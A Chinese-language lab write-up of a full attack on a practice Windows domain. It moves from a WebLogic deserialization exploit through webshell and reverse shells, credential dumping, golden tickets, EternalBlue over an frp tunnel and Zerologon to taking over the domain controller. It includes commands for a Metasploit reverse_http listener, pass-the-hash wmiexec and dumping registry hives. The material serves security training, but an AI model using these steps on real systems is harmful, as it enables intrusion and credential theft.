目录
环境搭建:
Web、PC两块网卡,都是nat模式+仅主机模式。DC为仅主机模式。三台主机的默认密码都是1qaz@WSX。
攻击机:kali(nat模式)、win10物理机。
内网网段:10.10.10.1/24
外网网段:192.168.111.1/24
kali:192.168.111.128
web:外:192.168.111.80 内:10.10.10.80
pc:外:192.168.128.201 内:10.10.10.201
dc:10.10.10.10
都进行登录,登录pc之后用管理员账号administrator/1qaz@WSX开启360杀软。
登录web服务器时注意:先登录本地用户WEB/de1ay,密码也是默认的那个密码,然后会提示密码过期 要进行修改,修改完成登录之后进行注销再登录到mssql用户(域用户),也是默认的那个密码,然后用本地管理员账号也就是刚刚修改了密码的那个,开启360杀软,然后以管理员身份运行weblogic服务。
至此,环境就搭建好了。
Web渗透:
Nmap扫描端口开放情况
开放了多个端口,该靶机的利用点为7001端口
weblogic漏洞利用
看到7001就想到了weblogic,浏览器访问
访问console目录跳转到weblogic控制台登录页面
尝试了几个弱口令,没有登录成功,用weblogic专门的扫描工具进行扫描看看存在什么漏洞
看到存在java反序列化漏洞,用工具进行上传payload,然后用哥斯拉连接。
java反序列化漏洞利用、哥斯拉获取shell
哥斯拉生成payload
复制生成的payload内容,用java反序列化漏洞利用工具进行上传
用哥斯拉进行连接
上线msf
生成payload反弹shell
然后通过哥斯拉上传到web服务器(被杀掉的话就考虑生成免杀payload,或者用其他方法攻击),msf开启监听之后再运行
成功反弹shell
msf派生shell到cs
Cs开启监听
Msf
cs上线成功
内网信息收集
shell ipconfig发现内网网段10.10.10.0/24
Shell ipconfig /all 发现存在域de1ay.com,根据dns服务器判断域控ip为10.10.10.10
Net config workstation
进行提权做进一步的信息收集
点击launch之后提权成功
查询域内用户 net user /domain
查询域控 net group “domain controllers” /domain
查询域内其他主机名
分别ping一下dc和pc拿到ip,域控和之前判断的一样
Ping pc没通 被防火墙拦截了,但也拿到了ip
portscan 探测存活主机+端口扫描
发现域控开了445端口。
mimikatz获取用户密码
执行mimikatz获取用户散列值和明文密码
域管理员
Web主机本地管理员
cs横向移动
因为开放了445端口, 创建一个smb监听器,
然后进行psexec横向
执行后就看到成功拿下域控
同理对pc进行横向
成功拿下pc
PTT攻击(票据传递)
根据前面用猕猴桃抓取到的用户NTLM HASH和SID值,对黄金票据进行利用
选中administrator权限的web主机 右键 access->golden ticket
成功之后进行验证
伪造用户名成功
刚刚主要是利用cs进行内网的渗透,接着通过msf进行一个内网的渗透,记录一下。
方法2:通过msf利用永恒之蓝以及3389端口
上线cs
我们可以通过cs来生成一个web delivery,即通过powershell绕过360杀软上线cs
然后通过哥斯拉执行powershell上线
成功上线cs
cs派生shell给msf
打开msf,启动handler监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xxxxxx
set lport xxxx
run
cs新建一个外部监听
然后在cs的控制台输入spawn cs-msf
msf中成功接收
尝试getsystem提权,行不通。
fscan扫描内网
上传fscan到web主机上然后进行扫描
然后利用fscan扫描内网网段
发现10和80都存活且都存在永恒之蓝
由于都开了防火墙,所以说远程是打不进去的,尝试用本地流量来打。
frp搭建socks5隧道代理
通过frp建立一个SOCKS隧道
上传完之后编辑frpc.ini,改为本地的ip
然后现在kali本地启动服务端
再运行刚刚上传的客户端
永恒之蓝的利用
然后通过执行命令
setg Proxies socks5:127.0.0.1:8989
Setg ReverseAllowProxy true
设置一个全局代理
攻击成功。
kiwi获取用户hash
接着通过kiwi抓取用户密码
Load kiwi
Creds_all
拿到了web主机本地用户的用户名和密码以及域用户的用户名和密码。
3389远程登录
最开始的扫描过程中得知了是开了3389端口的,可以进行远程登录一波
修改proxychains的配置文件vi /etc/proxychains.conf
然后通过代理进行远程登录
由于使用的是本地管理员账户进行登录,所以可以退了杀软,关闭防火墙
cve-2020-1472域内提权漏洞的利用
接着对cve-2020-1472域内提权漏洞进行利用(下文相关的exp和poc都可以在github上找到)
由于不知道是否存在该域内提取漏洞,所以先使用github上的poc对dc进行检测是否存在该漏洞
开着代理来执行poc
说明dc存在该漏洞。
将dc机器账户密码设置为空
然后用该漏洞的exp进行攻击,该攻击使得dc机器账户的密码设置为空
重置成功
接着通过impacket包(先apt install python3-impacket)来dump用户hash,linux下$代表变量 所以要加\进行转义
拿到域管理员的hash。因为知道了这个的密码强度过高,直接进行解密的话是无法成功的
wmiexec横向
可以通过impacket包的wmiexec进行一个横向
Proxychains impacket-wmiexec -hashes NTLM-HASH ./administrator@10.10.10.10
成功拿到dc的shell,接下来就是要拷贝dc中SAM数据库到本地,然后提取里面的数据来恢复刚刚我们清空的dc机器账户的密码(这是因为如果机器账户hash长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash重置回去。)
先执行如下三条命令将数据库的三个文件保存到dc本地,然后用get命令进行下载 最后可以在dc中将其删掉
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
然后可以在靶机中将其删掉
恢复密码之前顺便修改一下域管的密码
恢复dc机器账户密码
利用impacket-secretsdump提取那三个文件里的数据
然后利用脚本进行恢复
这时候再用刚刚的impacket-secretsdump -no-pass来dump 用户hash,
发现无法获取了,说明恢复成功
远程连接域控和pc主机
接着在刚刚开启的远程桌面进行远程连接域控 administrator/Admin12345
成功连接域控,关闭其防火墙
然后在服务管理器发现域内另外一台机器pc
再ping一下它就拿到它的ip,再次进行远程登录,开始登录失败了,要以de1ay域的管理员登录才能成功,如下图
同样,把杀软退了和关闭防火墙,防火墙都关了之后就可以正常进行上线了,后续就不展示了(开始用cs上线过)
最后附一个链接了解cve-2020-1472域内提取漏洞:
https://www.jianshu.com/p/525be0335404